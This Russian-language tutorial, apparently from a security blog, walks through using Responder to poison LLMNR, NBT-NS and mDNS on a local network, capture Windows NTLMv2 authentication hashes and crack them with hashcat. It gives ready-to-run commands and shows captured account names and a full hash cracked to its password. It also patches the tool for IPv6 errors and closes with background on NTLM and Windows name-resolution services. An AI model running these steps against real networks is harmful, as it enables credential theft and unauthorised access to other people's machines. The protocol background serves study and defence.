

Взлом сетевой аутентификации Windows

Аутентификация в Windows по сети

В Windows реализовано много разнообразных протоколов аутентификации и различных сетевых служб.

Самые распространённые примеры сетевой аутентификации Windows это:

- [вход на совместную сетевую папку](#)
- вход в компьютер с учётной записью Microsoft

Для входа на другие компьютеры в сети Windows используются такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP — думаю, даже пользователям Windows с многолетним стажем эти термины непонятны. В этой статье с помощью программы [Responder](#) мы будем перехватывать хеши, используемые при аутентификации в Windows. Программа Responder весьма эффективна и для базового использования не требует знания и понимания методов аутентификации и сетевых служб Windows. Поэтому мы начнём с практики — с перехвата хеша аутентификации и его расшифровки, благодаря чему получим имя пользователя и пароль в операционных системах Windows. Тем не менее в конце статьи будет дана характеристика способов аутентификации и сетевых служб.

Кстати про сетевые службы. Responder использует принципы атаки «человек-посередине», когда атакующий выступает в роле посредника, ретранслятора процесса аутентификации между жертвой и сервером. Responder вместо привычного и хорошо знакомого многим ARP спуфинга эксплуатирует такие сетевые службы Windows как: LLMNR, NBT-NS и MDNS. Опять же, далеко не всем знакомы эти термины и принципы работы этих служб, но, к счастью, Responder и не требует их глубокого понимания, а их краткая характеристика также будет в конце статьи.

[Responder](#) это инструмент для выполнения атаки человек-посередине в отношении методов аутентификации в Windows. Эта программа включает в себя трояк LLMNR, NBT-NS и MDNS благодаря которому перенаправляется трафик с запросами и хешами аутентификации. Также в программу встроены жульнические серверы аутентификации HTTP/SMB/MSSQL/FTP/LDAP, которые поддерживают такие методы аутентификации как NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP и базовую HTTP аутентификацию, для которых Responder выполняет роль ретранслятора.

Итак, Responder умеет перенаправлять трафик жертвы на компьютер атакующего и выступает посредником во время аутентификации пользователя. Также Responder имеет встроенные сервера аутентификации.

Сбор информации о компьютерах Windows и их сетевых службах в локальной сети

Перед запуском полноценной атаки, давайте хотя бы вскользь начнём знакомство с некоторыми сетевыми службами Windows.

У Responder есть модуль **Режима анализа**. Этот модуль позволяет вам видеть NBT-NS, BROWSER, LLMNR, DNS запросы в сети без их травления какими либо ответами. Также вы можете пассивно составить карту доменов, серверов MSSQL и рабочих станций, увидеть, будет ли атака ICMP Редиректы иметь успех в вашей сети.

То есть мы сможем видеть сообщения сетевых служб Windows, но не будем отправлять в ответ на них фальшивые ответы для перенаправления трафика — мы будем только наблюдать.

Режим анализа включается опцией **-A**. Также в своих командах я буду использовать опцию **-v** для более подробного вывода.

Ещё нужно указать имя сетевого интерфейса — имена всех сетевых интерфейсов на своём компьютере можно посмотреть командой

Интерфейс нужно указывать с опцией **-I**, я буду использовать сетевой интерфейс с именем wlo1, следовательно, моя команда следующая:

```
1 sudo responder -I wlo1 -v -A
```

На первом экране нам показана сводка, какие именно трояки, сервера аутентификации и опции включены:

Подтверждает, что Responder в режиме анализа и на запросы NBT-NS, LLMNR, MDNS не будут отправляться спуфленные данные для выполнения перенаправления трафика.

В следующей записи

```
1 [Analyze mode: ICMP] You can ICMP Redirect on this network.
```

говориться, что в этой сети будет работать ICMP Redirect.

В следующей записи:

```
1 [Analyze mode: NBT-NS] Request by 192.168.0.53 for WORKGROUP, ignoring
```

говориться, что получен запрос от протокола **NBT-NS**. Слово **ignoring** говорит о том, что никаких действий предпринято не было — то есть атакующим не был отправлен ответ.

Информация о запросе по протоколу **LLMNR**:

```
1 [Analyze mode: LLMNR] Request by 192.168.0.53 for HACKWARE-MIAL, ignoring
```

В следующих строках:

```
1 [LANMAN] Detected Domains: WORKGROUP (Unknown)
2 [LANMAN] Detected Workstations/Servers on domain WORKGROUP: HACKWARE-MIAL (Unknown), HACKWARE-SERVER (Unknown),
  RT-N66U (Unknown), VYACHESLAV (Unknown)
```

говориться, что благодаря устаревшему протоколу **LANMAN** обнаружена рабочая группа с именем WORKGROUP, и что в этой рабочей группе найдены следующие рабочие станции и серверы: HACKWARE-MIAL, HACKWARE-SERVER, RT-N66U, VYACHESLAV — это имена компьютеров Windows в сети.

Пример записи о поступившем запросе по протоколу **MDNS**:

```
1 [Analyze mode: MDNS] Request by 192.168.0.53 for RT-N66U.local, ignoring
```

Для остановки программы нажмите **CTRL+c**.

Перехват имени пользователя и пароля Windows по сети

Теперь приступим к захвату хеша и затем его расшифровке.

Запускаем **responder** с набором опций **-r -P -v -f**, также указываем опцию **-I** с именем сетевого интерфейса:

```
1 sudo responder -I wlo1 -rPvf
```

Далее атака не требует каких-либо действий с нашей стороны.


```
mial@HackWare:~  
[mial@HackWare ~]$ responder-report  
[+] Generating report...  
[+] Unique lookups ordered by IP:  
IP: 192.168.0.101, Protocol: LLMNR, Looking for name: RT-N66U  
IP: 192.168.0.101, Protocol: LLMNR, Looking for name: HACKWARE-SERVER  
IP: 192.168.0.101, Protocol: LLMNR, Looking for name: VYACHESLAV  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: WORKGROUP  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: RT-N66U  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: HACKWARE-SERVER  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: WPAD  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: PROXYSRV  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: QKJITKFZDVSDYZI  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: UVFNCMEKPVOUAEA  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: YWBDBRF  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: SUHGINBCMDKDD  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: NWLTHHJORPGEL  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: NRPQBEPNVHYVWI  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: HACKWARE-MIAL  
IP: 192.168.0.101, Protocol: NBT-NS, Looking for name: VYACHESLAV  
IP: 192.168.0.49, Protocol: LLMNR, Looking for name: VYACHESLAV  
IP: 192.168.0.49, Protocol: LLMNR, Looking for name: RT-N66U  
IP: 192.168.0.49, Protocol: LLMNR, Looking for name: HACKWARE-MIAL  
IP: 192.168.0.49, Protocol: LLMNR, Looking for name: HACKWARE-SERVER  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: WPAD  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: PROXYSRV  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: IFHPXIKSDUH  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: HAWAIMICDBPMZK  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: EHLABZLQDFO  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: KVYTEGXTF  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: ORUJNSFEFFBX  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: YWBSGFNJVCJJJOV  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: WORKGROUP  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: RT-N66U  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: HACKWARE-MIAL  
IP: 192.168.0.49, Protocol: NBT-NS, Looking for name: HACKWARE-SERVER  
IP: 192.168.0.53, Protocol: LLMNR, Looking for name: HACKWARE-MIAL  
IP: 192.168.0.53, Protocol: LLMNR, Looking for name: RT-N66U  
IP: 192.168.0.53, Protocol: LLMNR, Looking for name: RT-N66U  
IP: 192.168.0.53, Protocol: LLMNR, Looking for name: HACKWARE-MIAL  
IP: 192.168.0.53, Protocol: NBT-NS, Looking for name: WORKGROUP  
IP: 192.168.0.53, Protocol: NBT-NS, Looking for name: HACKWARE-MIAL  
IP: 192.168.0.53, Protocol: NBT-NS, Looking for name: WORKGROUP  
IP: 192.168.0.53, Protocol: NBT-NS, Looking for name: RT-N66U  
IP: 192.168.0.53, Protocol: NBT-NS, Looking for name: RT-N66U  
IP: 192.168.0.53, Protocol: NBT-NS, Looking for name: HACKWARE-MIAL  
IP: 192.168.0.89, Protocol: NBT-NS, Looking for name: WORKGROUP  
IP: 192.168.0.89, Protocol: NBT-NS, Looking for name: VYACHESLAV  
IP: 192.168.0.89, Protocol: NBT-NS, Looking for name: RT-N66U  
IP: 192.168.0.89, Protocol: NBT-NS, Looking for name: HACKWARE-SERVER  
[+] In total 46 unique queries were poisoned.
```

```
[+] Extracting captured usernames:  
User account: HACKWARE-MIAL\Mial  
User account: WORKGROUP\root  
User account: WORKGROUP\mial  
User account: WORKGROUP\ShareOverlord  
User account: MicrosoftAccount\ @miloserdov.org  
  
[+] Username details:  
IP: 192.168.0.101 module: SMB:NtlmV2-SSP  
user account: HACKWARE-MIAL\Mial  
IP: 192.168.0.101 module: Proxy-Auth:NtlmV2  
user account: HACKWARE-MIAL\Mial  
IP: 192.168.0.49 module: SMB:NtlmV2-SSP  
user account: MicrosoftAccount\ @miloserdov.org  
IP: 192.168.0.89 module: SMB:NtlmV2-SSP  
user account: WORKGROUP\root  
IP: 192.168.0.89 module: SMB:NtlmV2-SSP  
user account: WORKGROUP\mial  
IP: 192.168.0.89 module: SMB:NtlmV2-SSP  
user account: WORKGROUP\ShareOverlord  
[+] In total 5 unique user accounts were captured.  
[mial@HackWare ~]$
```

А команда

покажет захваченные хеши.

Обратите внимание, NTLMV2 хеши перечислены после фразы

А NTLMv1 идут после фразы NTLMv1:

Некоторые хеши начинаются на имя пользователя, а затем через два двоеточия идёт имя компьютера:

```
1 Mial::HACKWARE-MIAL:.....
```

В некоторых хешах после имени пользователя идёт имя рабочей группы — видимо, в том случае, если не получилось определить имя компьютера:

[illegible]

```
mial@HackWare:~  
Файл Правка Вид Поиск Терминал Справка  
SHAREOVERLORD::WORKGROUP:24108cef8a9dc2c9:6cfd8a3d59d93ecf6551933f06ad24a6:0101000000000000f2aff  
c5b40cad5017a22ceb2169142f40000000002000e004e004f004d00410054004300480001000a0053004d00420031003  
20004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d00420031003200080030003  
00000000000000000000000000000000007a5ed001dcd99403d273d180b6fbe7ac1ae2550011a910ea5b717776f355f630  
a001000000000000000000000000000000000000000000009001e0063006900660073002f0056005900410043004800450053004  
c0041005600000000000:1234  
  
Session.....: hashcat  
Status.....: Cracked  
Hash.Type.....: NetNTLMv2  
Hash.Target.....: SHAREOVERLORD::WORKGROUP:24108cef8a9dc2c9:6cfd8a3d5...000000  
Time.Started....: Wed Jan 15 15:32:31 2020 (0 secs)  
Time.Estimated...: Wed Jan 15 15:32:31 2020 (0 secs)  
Guess.Mask.....: ?a?a?a?a [4]  
Guess.Queue.....: 4/10 (40.00%)  
Speed.#1.....: 995.3 kH/s (10.20ms) @ Accel:2 Loops:1 Thr:256 Vec:1  
Speed.#2.....: 275.9 MH/s (6.53ms) @ Accel:64 Loops:23 Thr:256 Vec:1  
Speed.*.....: 276.9 MH/s  
Recovered.....: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts  
Progress.....: 9375744/81450625 (11.51%)  
Rejected.....: 0/9375744 (0.00%)  
Restore.Point....: 0/857375 (0.00%)  
Restore.Sub.#1...: Salt:0 Amplifier:2-3 Iteration:0-1  
Restore.Sub.#2...: Salt:0 Amplifier:0-23 Iteration:0-23  
Candidates.#1....: 1ari -> 1j_m  
Candidates.#2....: s9ny -> 3%#t  
Hardware.Mon.#1...: N/A  
Hardware.Mon.#2...: Temp: 64c Util: 2% Core:1746MHz Mem:3504MHz Bus:16  
  
Started: Wed Jan 15 15:32:26 2020  
Stopped: Wed Jan 15 15:32:33 2020  
  
[mial@HackWare ~]$
```

Обратите внимание на запредельную скорость брутфорса этого алгоритма: 276.9 МН/с. За примерно 0 секунд (программа не показывает доли секунды) перебрано 9,375,744 паролей. Это результат на ноуте с GeForce GTX 1050 Ti — на настольных компьютерах с топовой видеокартой результаты будут ещё более впечатляющими. Можно констатировать — если хеш перехвачен, то он практически наверняка будет взломан, причём довольно быстро.

Для взлома NTLMv2 по словарю в Hashcat запустите команду вида:

```
1 hashcat -m 5600 -D 1.2 -a 0 'ХЕШ' /ПУТЬ/ДО/СЛОВАРЯ
```

Новое в этой команде:

- **-a 0** — означает атаку по словарю
- **/ПУТЬ/ДО/СЛОВАРЯ**

Проблемы запуска responder

check permissions or other servers running

При запуске **Режима анализа** вы могли увидеть на скриншоте надпись:

```
1  [!] Error starting TCP server on port 80, check permissions or other servers running.
```

Дело в том, что Responder для выполнения функций ретранслятора прослушивает ряд портов, а именно следующие порты: UDP 137, UDP 138, UDP 53, UDP/TCP 389, TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141, TCP 25, TCP 110, TCP 587, TCP 3128 и Multicast UDP 5553.

Соответственно, эти порты не должны быть заняты. У меня был запущен веб-сервер, который прослушивал 80й порт, поэтому и возникла эта ошибка. Убедитесь, что в вашей системе все эти порты свободны.

Если на вашей системе запущена Samba, остановите [smbd](#) и **nmbd** и все другие службы, прослушивающие указанные порты.

В Ubuntu по умолчанию запущена служба, которая прослушивает 53 порт, для исправления откройте для редактирования файл **/etc/NetworkManager/NetworkManager.conf** и закомментируйте строку:

Затем остановите **dnsmasq** командой:

ValueError: invalid literal for int() with base 10

Если в **/etc/resolv.conf** в качестве DNS серверов указаны [IPv6](#) адреса, например:

```
1  nameserver 2001:4860:4860::8888
2  nameserver 2001:4860:4860::8844
```

то при запуске Responder в режиме анализа, например:

```
1  sudo responder -I wlo1 -A
```

Возникнет ошибка:

```
1  Traceback (most recent call last):
2  File "Responder.py", line 340, in <module>
3  main()
4  File "Responder.py", line 250, in main
5  from poisoners.LLMNR import LLMNR
6  File "/usr/share/responder/poisoners/LLMNR.py", line 55, in <module>
7  IsICMPRedirectPlausible(settings.Config.Bind_To)
8  File "/usr/share/responder/poisoners/LLMNR.py", line 49, in IsICMPRedirectPlausible
9  if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
10 File "/usr/share/responder/utils.py", line 78, in IsOnTheSameSubnet
11 ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
12 ValueError: invalid literal for int() with base 10: '2001:4860:4860::8888'
```

Для её исправления откройте файл **LLMNR.py** (в Kali Linux и в BlackArch этот файл размещён по пути **/usr/share/responder/poisoners/LLMNR.py**), найдите там строку

```
1  if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
```

и замените её на строку:

```
1  if x != "127.0.0.1" and (":" not in x) and IsOnTheSameSubnet(x,IP) is False:
```

Продвинутые возможности Responder

Мы рассмотрели такую функцию Responder как перехват хеша аутентификации. У программы имеются и другие функции и, возможно, будет написана вторая часть этой инструкции. Вы можете самостоятельно ознакомиться с другими опциями и

инструментами входящими в Responder на странице <https://kali.tools/?p=1679>

Изменить настройки программы вы можете в файле `/usr/share/responder/Responder.conf`

Сетевые технологии Windows

Протоколы аутентификации Windows

NTLMv1

[NTLM](#) (NT LAN Manager) — протокол сетевой аутентификации, разработанный фирмой Microsoft для Windows NT.

NTLM — это результат дальнейшего развития LANMAN.

Никакой официальной информации о нём не поступало, но многое выяснила группа разработчиков Samba во время разработки своей программы.

Для передачи на сервер аутентификации (англ. Primary Domain Controller (PDC) — главный контроллер домена) имени пользователя, хэша пароля и мандата домена в Windows 98 применяется протокол LANMAN, а в Windows NT — протокол NTLM. Windows 2000 и Windows XP по умолчанию делают попытку аутентификации Kerberos (только в случае, когда станция является членом домена), в то же время они сохраняют обратную совместимость с аутентификацией NTLM.

NTLM - это протокол проверки подлинности запроса и ответа, который использует три сообщения для аутентификации клиента в среде, ориентированной на соединение и четвертое дополнительное сообщение, если требуется проверка целостности.

1. Пользователь устанавливает подключение(сетевой путь) к серверу и отправляет NEGOTIATE_MESSAGE со своими возможностями.
2. Сервер отвечает сообщением CHALLENGE_MESSAGE, которое используется для идентификации (установления личности) клиента.
3. Клиент отвечает на сообщение при помощи AUTHENTICATE_MESSAGE.

Протокол NTLM использует одно или оба значения хешированных паролей, оба из них хранятся на сервере (или контроллере домена), которые из-за отсутствия привязки эквивалентны паролю. Это означает, что хешированное значение с сервера может быть использовано для аутентификации без фактического знания пароля. Эти два значения представляют собой LM Hash (функции, основанные на стандарте шифрования данных для первых 14 символов пароля преобразованные в традиционную 8 битную кодировку для языка ПК) и NT Hash (значение функции MD4 от переведенного в кодировку little endian UTF-16 Unicode пароля). Оба хеша имеют длину в 16 байт (128 бит) каждый.

Протокол NTLM использует одну из двух односторонних функций, зависящих от версии NTLM. NT LanMan и NTLM версии 1 используют функцию LanMan на основе стандартного шифрования данных (LMOWF), в то время как NTLMv2 использует одностороннюю функцию NT MD4 (NTOWF[1][2]).

Проверка подлинности NTLM по-прежнему поддерживается и обязательна для использования на системах, работающих под управлением Windows NT Server 4.0 или более ранних версий, а также для компьютеров, настроенных как члены рабочих групп. Проверка подлинности NTLM также используется для проверки подлинности при аутентификации на изолированных системах. Начиная с Windows 2000, проверка подлинности Kerberos версии 5 является предпочтительным методом проверки подлинности для сред Active Directory.

NTLMv2

[NTLMv2](#) (NTLM версии 2) — встроенный в операционные системы семейства Microsoft Windows протокол сетевой аутентификации. Широко применяется в различных сервисах на их базе. Изначально был предназначен для повышения безопасности аутентификации путём замены устаревших LM и NTLM v1. NTLMv2 был введён начиная с Windows NT 4.0 SP4 и используется версиями Microsoft Windows вплоть до Windows 10 включительно. С самого изобретения протоколы NTLMv1 и NTLMv2 подвергались множеству нападений и демонстрировали широкий спектр серьёзных уязвимостей.

В схеме аутентификации, реализованной при помощи SMB или SMB2 сообщений, вне зависимости от того, какой вид диалекта аутентификации будет использован (LM, LMv2, NTLM, NTLM2, NTLMv2), процесс аутентификации происходит следующим образом:

1. Клиент пытается установить соединение с сервером и посылает запрос, в котором информирует сервер, на каких диалектах он способен произвести аутентификации, например: LM, NTLM, NTLM2, NTLMv2. Следовательно, диалект аутентификации LMv2 между клиентом и сервером исключается.
2. Сервер из полученного от клиента списка диалектов (по умолчанию) выбирает наиболее защищённый диалект (например, NTLMv2), затем отправляет ответ клиенту.
3. Клиент, определившись с диалектом аутентификации, пытается получить доступ к серверу и посылает запрос NEGOTIATE_MESSAGE.

4. Сервер получает запрос от клиента и посылает ему ответ CHALLENGE_MESSAGE, в котором содержится случайная (random) последовательность из 8 байт. Она называется Server Challenge.
5. Клиент, получив от сервера последовательность Server Challenge, при помощи своего пароля производит шифрование этой последовательности, а затем посылает серверу ответ AUTHENTICATE_MESSAGE, который содержит 24 байта.
6. Сервер, получив ответ, производит ту же операцию шифрования последовательности Server Challenge, которую произвёл клиент. Затем, сравнив свои результаты с ответом от клиента, на основании совпадения разрешает или запрещает доступ.

LMv2

[LM-хеш](#), или LAN Manager хеш, — один из форматов, используемых Microsoft LAN Manager и версиями Microsoft Windows до Windows Vista для хранения пользовательских паролей длиной менее 15 символов. Это единственный вид хеширования, используемый в Microsoft LAN Manager, откуда и произошло название, и в версиях Windows до Windows Me. Он также поддерживается и более поздними версиями Windows для обратной совместимости, хотя в Windows Vista его приходится включать вручную.

Эволюция алгоритмов аутентификации LM и NTLM: **LM** → **LMv2** → **NTLM** → **NTLM2** → **NTLMv2**

Сетевые службы Windows

Теперь рассмотрим сетевые службы Windows, эксплуатируя которые становится возможным выполнить перенаправление трафика на компьютер атакующего.

LLMNR

[Link-Local Multicast Name Resolution](#) (LLMNR) — это протокол, основанный на формате пакета системы доменных имён (DNS), который позволяет хостам как IPv4, так и IPv6 выполнять разрешение имён для хостов на одном и том же локальном канале. Он включён в Windows Vista, Windows Server 2008, Windows 7, Windows 8 и Windows 10. Он также реализован с помощью systemd-resolved в GNU/Linux.

Детали протокола

Отвечая на запросы, респонденты прослушивают порт UDP 5355 по следующему адресу многоадресной рассылки:

- IPv4 - 224.0.0.252, MAC адрес 01-00-5E-00-00-FC
- IPv6 - FF02::0:0:0:0:1:3 (эту нотацию можно сократить до FF02::1:3), MAC адрес 33-33-00-01-00-03

Ответчики также прослушивают TCP-порт 5355 по одноадресному (unicast) адресу, который хост использует для ответа на запросы.

NBT-NS

NBT-NS это [NetBIOS-NS](#), то есть NetBIOS Name Service.

NetBIOS Name Service является одним из трёх сервисов NetBIOS: служба имён (NetBIOS-NS) для регистрации и разрешения имён. Подробности смотрите в статье [NetBIOS: что это, как работает и как проверить](#).

Чтобы начать сеансы или распространять дейтаграммы, приложение должно зарегистрировать своё имя NetBIOS, используя службу имён. Имена NetBIOS имеют длину 16 октетов и различаются в зависимости от конкретной реализации. Часто 16-й октет, называемый суффиксом NetBIOS, обозначает тип ресурса и может использоваться для сообщения другим приложениям, какой тип услуг предлагает система. В NBT служба имён работает на UDP-порту 137 (TCP-порт 137 также может использоваться, но редко задействуется).

Примитивы службы имён, предлагаемые NetBIOS:

- Add name (Добавить имя) — регистрирует имя NetBIOS.
- Add group name (Добавить имя группы) — регистрирует NetBIOS-имя группы.
- Delete name (Удалить имя) — отменяет регистрацию имени NetBIOS или имени группы.
- Find name (Найти имя) — поиск имени NetBIOS в сети.

Разрешение имён NetBIOS не поддерживается Microsoft для Интернет-протокола версии 6 (IPv6).

MDNS

[Multicast DNS](#) — это Многоадресный DNS.

В компьютерных сетях протокол многоадресной DNS (mDNS) разрешает имена хостов в IP-адреса в небольших сетях, которые не включают локальный сервер имён. Это сервис с нулевой конфигурацией, использующий по существу те же программные интерфейсы, форматы пакетов и рабочую семантику, что и одноадресная система доменных имён (DNS). Хотя Стюарт Чешир разработал mDNS как самостоятельный протокол, он может работать совместно со стандартными DNS-серверами.

Протокол mDNS опубликован как RFC 6762, использует пакеты многоадресного протокола дейтаграмм пользователя (UDP) и используется пакетами программного обеспечения Apple Bonjour и Avahi с открытым исходным кодом. Android содержит реализацию

mDNS. mDNS также был реализован в Windows 10, первоначально применение ограничивалось обнаружением сетевых принтеров, впоследствии стал способным также разрешать имена хостов.

mDNS может работать в сочетании с DNS Service Discovery (DNS-SD), сопутствующим методом нулевой конфигурации.

Когда клиенту mDNS необходимо разрешить имя хоста, он отправляет сообщение запроса в многоадресной IP рассылке, в которой просит хост, имеющий это имя, идентифицировать себя. Затем этот целевой компьютер многоадресно передаёт сообщение, которое включает его IP-адрес. Все машины в этой подсети могут затем использовать эту информацию для обновления своих кэшей mDNS. Любой хост может отказаться от своей заявки на имя, отправив ответный пакет с временем жизни (TTL), равным нулю.

По умолчанию mDNS разрешает только имена хостов, относящихся к доменам верхнего уровня (TLD) .local. Это может вызвать проблемы, если этот домен включает хосты, которые не реализуют mDNS, но которые можно найти через обычный DNS-сервер одноадресной передачи. Разрешение таких конфликтов требует изменений конфигурации сети, которые нарушают цель нулевой конфигурации.

Серверы Windows

HTTP

Это веб-сервер.

SMB

Протокол SMB обеспечивает работу [файлового сервера в локальной сети](#).

MSSQL

Система управления базами данных.

FTP

Протокол обеспечивающий работу файлового сервера.

LDAP

[LDAP](#) (англ. Lightweight Directory Access Protocol — «легкорасширяемый протокол доступа к каталогам») — протокол прикладного уровня для доступа к службе каталогов X.500, разработанный IETF как облегчённый вариант разработанного ITU-T протокола DAP. LDAP — относительно простой протокол, использующий TCP/IP и позволяющий производить операции аутентификации (bind), поиска (search) и сравнения (compare), а также операции добавления, изменения или удаления записей. Обычно LDAP-сервер принимает входящие соединения на порт 389 по протоколам TCP или UDP. Для LDAP-сеансов, инкапсулированных в SSL, обычно используется порт 636.

Связанные статьи:

- [Инструкция по использованию MITMf](#) (65.9%)
- [Использование Burp Suite в сценариях человек-посередине \(MitM\): сбор информации, перехват паролей, заражение бэкдорами](#) (54.3%)
- [Инструкция по Ettercap: атака человек-посередине \(MitM\), перехват паролей, обход HSTS, подмена данных на лету, использование пользовательских фильтров и плагинов, подцепление на BeEF, заражение бэкдорами](#) (53.6%)
- [Инструкция по использованию Bettercap](#) (53.6%)
- [Новая версия bettercap 2.x: как установить и использовать в Kali Linux](#) (53.6%)
- [Использование sqlmap для инъекции в адресе страницы сайта \(URI\), Произвольные точки инъекции \(RANDOM - 1.1%\)](#)